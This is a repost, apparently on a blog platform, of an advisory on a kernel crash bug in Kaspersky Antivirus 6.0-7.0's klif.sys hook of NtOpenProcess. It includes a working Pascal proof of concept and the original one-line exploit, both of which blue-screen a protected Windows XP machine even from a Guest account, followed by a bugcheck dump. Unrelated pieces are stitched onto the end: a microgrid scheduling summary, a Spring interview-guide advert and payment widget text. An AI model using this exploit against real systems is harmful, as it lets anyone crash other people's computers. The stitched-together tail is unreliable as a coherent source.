Exploiting Kaspersky Antivirus 6.0-7.0

本文揭示了Kaspersky Antivirus 6.0到7.0版本中存在的严重漏洞,该漏洞允许攻击者从访客账户利用并导致系统崩溃。文章详细介绍了漏洞原理及利用方式,并提供了Pascal代码示例。
By: EP_X0FF

 

 
Exploiting Kaspersky Antivirus 6.0-7.0

The reasons why we decided to post this material on rootkit.com is simple:

Well-known and really good Kaspersky Antivirus very long time suffers from very dangerous bug, which can be used as exploit and crash system protected by this antivirus down even from Guest account.
All attempts to inform Kaspersky Lab about this vulnerability was ignored. This material was posted some years ago, and in the last summer we posted new exploit for Kaspersky AV 6.0 which was based on previously discovered by Ms-Rem security hole. And nothing was changed. Even now with upcoming Kaspersky Antivirus 7.0 this exploit works very well.
The main goal of this exploit is calling NtOpenProcess with invalid parameters. This function is hooked by Kaspersky driver called klif.sys and reasons of its interception is obvious - this was made to protect Kaspersky AV from unauthorized access and closing by malware.

Here is prototype of this function

NTSYSAPI
NTSTATUS
NTAPI
NtOpenProcess( OUT PHANDLE ProcessHandle,
               IN ACCESS_MASK DesiredAccess,
               IN POBJECT_ATTRIBUTES ObjectAttributes,
               IN PCLIENT_ID ClientId OPTIONAL );


Here is a small exploit coded in pascal (worked well with klif.sys version 6.12.10.280 and previous versions)


var
  ob1: OBJECT_ATTRIBUTES;
  p1: DWORD;
begin
  ob1.Length := sizeof(ob1);
  NtOpenProcess(@p1, PROCESS_QUERY_INFORMATION, @ob1, pointer($82000000));
end;


As you see last parameter is CLIENT_ID structure - address and its points to invalid random memory region in kernel.
After starting this exploit on clean Windows XP, without KAV - no BSOD appears.
After starting this exploit on Windows XP protected by KAV 7.0 - we are getting immediately BSOD - PAGE_FAULT_IN_NONPAGED_AREA

Why this happened? Very simple explanation. The source of Hook on NtOpenProcess, I guess, looks like this:


NTSTATUS NewNtOpenProcess (
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN PCLIENT_ID ClientId OPTIONAL)
{
    __try
   {

     if (ClientId->UniqueProcess == KasperskyProcesss) return STATUS_ACCESS_DENIED;

    else return RealNtOpenProcess(ProcessHandle, DesiredAccess,
                                  ObjectAttributes, ClientId);
   __except (EXCEPTION_EXECUTE_HANDLER)
   {
      ... stuff here ...
   }
}


The biggest mistake here is ClientId->UniqueProcess, since ClientId is a POINTER to structure. Accessing to invalid memory region causes immediately PAGE_FAULT_IN_NONPAGED_AREA.
Originally exploit was created by Ms-Rem and looks like


NtOpenProcess(NULL, (HANDLE)0, NULL, NULL);


Now as you see KAV developers have used try/except block, but as shows they don't know about MmIsAddressValid.

Hope now developers of Kaspersky Antivirus will discover for themself wonderful program called - NtCall and fix this bug.


*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 83000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f941840c, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif

FAULTING_MODULE: 804d7000 nt

DEBUG_FLR_IMAGE_TIMESTAMP:  46260f1c

READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
83000000

FAULTING_IP:
klif+1940c
f941840c 0fbe08          movsx   ecx,byte ptr [eax]

MM_INTERNAL_CODE:  0

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  WRONG_SYMBOLS

BUGCHECK_STR:  0x50

LAST_CONTROL_TRANSFER:  from f941b39a to f941840c

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
f64c8d24 f941b39a 83000000 00000008 00000000 klif+0x1940c
f64c8d64 7c90eb94 badb0d00 0012f3e4 00000000 klif+0x1c39a
f64c8d68 badb0d00 0012f3e4 00000000 00000000 0x7c90eb94
f64c8d6c 0012f3e4 00000000 00000000 00000000 0xbadb0d00
f64c8d70 00000000 00000000 00000000 00000000 0x12f3e4


STACK_COMMAND:  kb

FOLLOWUP_IP:
klif+1940c
f941840c 0fbe08          movsx   ecx,byte ptr [eax]

SYMBOL_STACK_INDEX:  0

FOLLOWUP_NAME:  MachineOwner

IMAGE_NAME:  klif.sys

SYMBOL_NAME:  klif+1940c

BUCKET_ID:  WRONG_SYMBOLS

Followup: MachineOwner


Kind Regards,
EP_X0FF/UG North
内容概要:本文围绕基于风光储能和需求响应的微电网日前经济调度问题,提出了一套完整的Python代码实现方案。研究综合考虑风能、光伏等可再生能源的出力不确定性、储能系统的动态充放电特性以及需求侧响应机制,构建了以最小化系统综合运行成本为目标的优化调度模型。该模型充分体现了对可再生能源的高效消纳、系统经济性提升与供需平衡调控的能力,通过Python编程结合优化求解器实现了模型的求解与仿真验证,为微电网能量管理系统的设计与科研分析提供了可复现的技术路径与实践参考。; 适合人群:具备一定Python编程基础和电力系统优化调度知识的科研人员、工程技术人员及高校电气工程、能源系统等相关专业的研究生。; 使用场景及目标:①应用于微电网、智能配电网及综合能源系统的科研建模与仿真分析;②帮助读者深入理解含高比例可再生能源的电力系统日前调度建模方法、目标函数构造与约束条件处理技巧;③为实际工程中实现低碳、经济、可靠的微电网运行提供算法支持与决策依据。; 阅读建议:建议读者结合文档中的代码实例,系统学习优化模型的数学表达与编程实现过程,重点关注变量定义、目标函数构建、系统约束(如功率平衡、储能动态、机组出力等)的编码实现,并尝试调整负荷、新能源出力等输入数据进行多场景仿真,以深入掌握微电网调度策略的灵敏度分析与优化效果评估方法。
### Spring源码面试终结者:31道核心题,源码级拆解IOC与AOP 这份资源不是“面试八股文”,而是对Spring、Spring Boot核心原理的**源码级深度拆解**。网上面试题答案大多浮于表面,无法应对面试官的连环追问。我结合源码阅读和实战踩坑,整理了这份**近10万字的硬核指南**,系统梳理了大厂面试中最棘手的31道Spring核心题。 **【资源核心内容】** - **IOC与DI王者解析**:深入BeanFactory与ApplicationContext层级设计,对比三种依赖注入方式,并用图文拆解三级缓存解决循环依赖的源码流程。 - **AOP与事务底层原理**:彻底讲透动态代理选择策略,深度分析@Transactional失效的10大经典场景及源码级解决方案。 - **Spring MVC与自动装配**:从DispatcherServlet的9大组件到SpringBoot的SPI机制,理清自动配置的完整加载链路。 - **高频追问与满分话术**:每道题配有“低分vs高分回答”对比,帮你精准拿捏面试官想要的“源码级理解”。 **【特色】** 拒绝罗列概念,每道题都从“核心考点”出发,深入到AbstractApplicationContext、TransactionInterceptor等Spring源码,帮助你在理解设计思想的同时,具备手写简易IOC容器的能力。 **【适合谁看】** 备战阿里、字节、美团等大厂面试的Java开发;对Spring原理一知半解,想系统提升源码阅读能力的开发者;希望从“会用”进阶到“懂原理”的技术人。 希望这份整理能帮你构建完整的Spring知识体系,轻松应对面试官的灵魂追问!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值